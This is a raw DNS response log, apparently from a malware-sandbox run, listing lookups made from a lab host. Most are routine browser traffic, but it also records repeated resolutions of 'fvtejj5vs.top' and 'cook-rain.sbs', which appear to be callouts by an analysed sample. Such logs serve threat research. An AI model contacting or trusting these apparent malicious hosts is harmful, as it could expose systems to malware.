Nov 18, 2024 21:06:10.045452118 CET	1.1.1.1	192.168.2.4	0xfacf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:10.045481920 CET	1.1.1.1	192.168.2.4	0xfacf	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:10.045706987 CET	1.1.1.1	192.168.2.4	0x8b04	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:06:10.045706987 CET	1.1.1.1	192.168.2.4	0x8b04	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:10.045739889 CET	1.1.1.1	192.168.2.4	0x8b04	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:06:10.045739889 CET	1.1.1.1	192.168.2.4	0x8b04	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:19.110249043 CET	1.1.1.1	192.168.2.4	0xedf4	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:33.835268974 CET	1.1.1.1	192.168.2.4	0xa6a3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:33.835299015 CET	1.1.1.1	192.168.2.4	0xa6a3	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:39.867919922 CET	1.1.1.1	192.168.2.4	0xf531	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:40.506439924 CET	1.1.1.1	192.168.2.4	0xc66b	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:06:40.506439924 CET	1.1.1.1	192.168.2.4	0xc66b	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:06:59.929050922 CET	1.1.1.1	192.168.2.4	0x98	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:07:00.552082062 CET	1.1.1.1	192.168.2.4	0x4020	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:07:00.552082062 CET	1.1.1.1	192.168.2.4	0x4020	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:07:21.401012897 CET	1.1.1.1	192.168.2.4	0x2b04	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:07:21.401012897 CET	1.1.1.1	192.168.2.4	0x2b04	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.901484966 CET	1.1.1.1	192.168.2.4	0x9d6f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:06.901504993 CET	1.1.1.1	192.168.2.4	0x9d6f	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.289319992 CET	1.1.1.1	192.168.2.4	0x1ced	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.289366007 CET	1.1.1.1	192.168.2.4	0x1ced	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.351399899 CET	1.1.1.1	192.168.2.4	0xd29c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.351421118 CET	1.1.1.1	192.168.2.4	0xd29c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.351433992 CET	1.1.1.1	192.168.2.4	0xd29c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.483787060 CET	1.1.1.1	192.168.2.4	0x6e91	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.483834982 CET	1.1.1.1	192.168.2.4	0x6e91	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:07.947932005 CET	1.1.1.1	192.168.2.4	0x3f99	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.353951931 CET	1.1.1.1	192.168.2.4	0x3ea6	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.353966951 CET	1.1.1.1	192.168.2.4	0x3ea6	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.353976011 CET	1.1.1.1	192.168.2.4	0x3ea6	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.547368050 CET	1.1.1.1	192.168.2.4	0x8179	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.547379017 CET	1.1.1.1	192.168.2.4	0x8179	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.586100101 CET	1.1.1.1	192.168.2.4	0xacd	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.586133003 CET	1.1.1.1	192.168.2.4	0xacd	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.586142063 CET	1.1.1.1	192.168.2.4	0xacd	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.901807070 CET	1.1.1.1	192.168.2.4	0xa893	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.901839972 CET	1.1.1.1	192.168.2.4	0xa893	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.901849985 CET	1.1.1.1	192.168.2.4	0xa893	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.947968006 CET	1.1.1.1	192.168.2.4	0x8678	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:09.948012114 CET	1.1.1.1	192.168.2.4	0x8678	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:20.556982040 CET	1.1.1.1	192.168.2.4	0xb1b1	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:20.564940929 CET	1.1.1.1	192.168.2.4	0xabef	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:21.207909107 CET	1.1.1.1	192.168.2.4	0xeef3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:08:21.207909107 CET	1.1.1.1	192.168.2.4	0xeef3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.246957064 CET	1.1.1.1	192.168.2.4	0xe7dc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.246980906 CET	1.1.1.1	192.168.2.4	0xe7dc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.246989965 CET	1.1.1.1	192.168.2.4	0xe7dc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.500149965 CET	1.1.1.1	192.168.2.4	0xabdc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.500166893 CET	1.1.1.1	192.168.2.4	0xabdc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.500176907 CET	1.1.1.1	192.168.2.4	0xabdc	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.606981993 CET	1.1.1.1	192.168.2.4	0x4f66	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.674123049 CET	1.1.1.1	192.168.2.4	0x2c3c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.674140930 CET	1.1.1.1	192.168.2.4	0x2c3c	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.674151897 CET	1.1.1.1	192.168.2.4	0xc626	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:30.674160957 CET	1.1.1.1	192.168.2.4	0xc626	No error (0)	fvtejj5vs.top		62.76.234.151	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:33.497584105 CET	1.1.1.1	192.168.2.4	0x685a	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:08:33.497584105 CET	1.1.1.1	192.168.2.4	0x685a	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:40.801347017 CET	1.1.1.1	192.168.2.4	0x7f8f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:08:40.801392078 CET	1.1.1.1	192.168.2.4	0x7f8f	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:14.216279030 CET	1.1.1.1	192.168.2.4	0x88b	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:14.216279030 CET	1.1.1.1	192.168.2.4	0x88b	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:14.221957922 CET	1.1.1.1	192.168.2.4	0x88b	No error (0)	cook-rain.sbs		188.114.97.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:14.221957922 CET	1.1.1.1	192.168.2.4	0x88b	No error (0)	cook-rain.sbs		188.114.96.3	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.621170044 CET	1.1.1.1	192.168.2.4	0x6bba	No error (0)	prod.classify-client.prod.webservices.mozgcp.net		35.190.72.216	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.849577904 CET	1.1.1.1	192.168.2.4	0x41b7	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.849960089 CET	1.1.1.1	192.168.2.4	0xebff	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:30.849960089 CET	1.1.1.1	192.168.2.4	0xebff	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.862442017 CET	1.1.1.1	192.168.2.4	0xac1c	No error (0)	youtube.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.893877983 CET	1.1.1.1	192.168.2.4	0xdd4a	No error (0)	youtube.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:30.986926079 CET	1.1.1.1	192.168.2.4	0xa127	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.987325907 CET	1.1.1.1	192.168.2.4	0xf18a	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:30.987325907 CET	1.1.1.1	192.168.2.4	0xf18a	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.988128901 CET	1.1.1.1	192.168.2.4	0xb0e6	No error (0)	spocs.getpocket.com	prod.ads.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:30.988128901 CET	1.1.1.1	192.168.2.4	0xb0e6	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:30.999125004 CET	1.1.1.1	192.168.2.4	0x3cc1	No error (0)	content-signature-2.cdn.mozilla.net	content-signature-chains.prod.autograph.services.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:30.999125004 CET	1.1.1.1	192.168.2.4	0x3cc1	No error (0)	content-signature-chains.prod.autograph.services.mozaws.net	prod.content-signature-chains.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:30.999125004 CET	1.1.1.1	192.168.2.4	0x3cc1	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net		34.160.144.191	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.026029110 CET	1.1.1.1	192.168.2.4	0x6381	No error (0)	contile.services.mozilla.com		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.036461115 CET	1.1.1.1	192.168.2.4	0xb994	No error (0)	prod.content-signature-chains.prod.webservices.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 21:10:31.041788101 CET	1.1.1.1	192.168.2.4	0x1e6c	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.055771112 CET	1.1.1.1	192.168.2.4	0x6e4b	No error (0)	prod.ads.prod.webservices.mozgcp.net		34.117.188.166	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.196202993 CET	1.1.1.1	192.168.2.4	0xf581	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.196964025 CET	1.1.1.1	192.168.2.4	0x5a0	No error (0)	shavar.services.mozilla.com	shavar.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:31.205888987 CET	1.1.1.1	192.168.2.4	0x239f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.311940908 CET	1.1.1.1	192.168.2.4	0x976b	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:31.311940908 CET	1.1.1.1	192.168.2.4	0x976b	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.346086025 CET	1.1.1.1	192.168.2.4	0x6adf	No error (0)	firefox.settings.services.mozilla.com	prod.remote-settings.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:31.346086025 CET	1.1.1.1	192.168.2.4	0x6adf	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.350368977 CET	1.1.1.1	192.168.2.4	0x12a2	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.381669044 CET	1.1.1.1	192.168.2.4	0xcb85	No error (0)	prod.remote-settings.prod.webservices.mozgcp.net		34.149.100.209	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:31.567840099 CET	1.1.1.1	192.168.2.4	0x26ee	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:31.567840099 CET	1.1.1.1	192.168.2.4	0x26ee	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:32.022054911 CET	1.1.1.1	192.168.2.4	0x2d24	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.748091936 CET	1.1.1.1	192.168.2.4	0x5a8	No error (0)	support.mozilla.org	prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.748091936 CET	1.1.1.1	192.168.2.4	0x5a8	No error (0)	prod.sumo.prod.webservices.mozgcp.net	us-west1.prod.sumo.prod.webservices.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.748091936 CET	1.1.1.1	192.168.2.4	0x5a8	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.765280962 CET	1.1.1.1	192.168.2.4	0x2ee4	No error (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net		34.149.128.2	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.920408964 CET	1.1.1.1	192.168.2.4	0x8e07	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.920408964 CET	1.1.1.1	192.168.2.4	0x8e07	No error (0)	star-mini.c10r.facebook.com		157.240.253.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		216.58.212.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.186.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		172.217.16.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921200991 CET	1.1.1.1	192.168.2.4	0x9e02	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921314001 CET	1.1.1.1	192.168.2.4	0x6f80	No error (0)	www.wikipedia.org	dyna.wikimedia.org		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.921314001 CET	1.1.1.1	192.168.2.4	0x6f80	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		172.217.16.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.74.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.184.206	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		216.58.212.174	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.186.142	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		172.217.18.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.186.110	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		216.58.206.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.184.238	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929459095 CET	1.1.1.1	192.168.2.4	0x2b85	No error (0)	youtube-ui.l.google.com		142.250.186.46	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.929606915 CET	1.1.1.1	192.168.2.4	0xe44e	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.931385994 CET	1.1.1.1	192.168.2.4	0x2b46	No error (0)	dyna.wikimedia.org		185.15.59.224	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.937218904 CET	1.1.1.1	192.168.2.4	0xe283	No error (0)	star-mini.c10r.facebook.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.937247992 CET	1.1.1.1	192.168.2.4	0x4fcf	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.937247992 CET	1.1.1.1	192.168.2.4	0x4fcf	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.937247992 CET	1.1.1.1	192.168.2.4	0x4fcf	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.937247992 CET	1.1.1.1	192.168.2.4	0x4fcf	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.939626932 CET	1.1.1.1	192.168.2.4	0x969a	No error (0)	dyna.wikimedia.org			28	IN (0x0001)	false
Nov 18, 2024 21:10:34.948026896 CET	1.1.1.1	192.168.2.4	0x1f0f	No error (0)	www.reddit.com	reddit.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948026896 CET	1.1.1.1	192.168.2.4	0x1f0f	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948026896 CET	1.1.1.1	192.168.2.4	0x1f0f	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948026896 CET	1.1.1.1	192.168.2.4	0x1f0f	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948026896 CET	1.1.1.1	192.168.2.4	0x1f0f	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.948451042 CET	1.1.1.1	192.168.2.4	0x938a	No error (0)	twitter.com		104.244.42.1	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.956661940 CET	1.1.1.1	192.168.2.4	0x65a6	No error (0)	reddit.map.fastly.net		151.101.129.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.956661940 CET	1.1.1.1	192.168.2.4	0x65a6	No error (0)	reddit.map.fastly.net		151.101.193.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.956661940 CET	1.1.1.1	192.168.2.4	0x65a6	No error (0)	reddit.map.fastly.net		151.101.65.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:34.956661940 CET	1.1.1.1	192.168.2.4	0x65a6	No error (0)	reddit.map.fastly.net		151.101.1.140	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:47.974160910 CET	1.1.1.1	192.168.2.4	0xc83f	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:48.615492105 CET	1.1.1.1	192.168.2.4	0xcdc3	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 18, 2024 21:10:48.615492105 CET	1.1.1.1	192.168.2.4	0xcdc3	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:10:48.624861002 CET	1.1.1.1	192.168.2.4	0xbc6d	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Nov 18, 2024 21:11:08.621655941 CET	1.1.1.1	192.168.2.4	0x5e7e	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:24.952065945 CET	1.1.1.1	192.168.2.4	0xdb26	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:24.952100992 CET	1.1.1.1	192.168.2.4	0x76d8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 18, 2024 21:11:30.810718060 CET	1.1.1.1	192.168.2.4	0x7de	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Nov 18, 2024 21:11:42.312638998 CET	1.1.1.1	192.168.2.4	0x52b5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
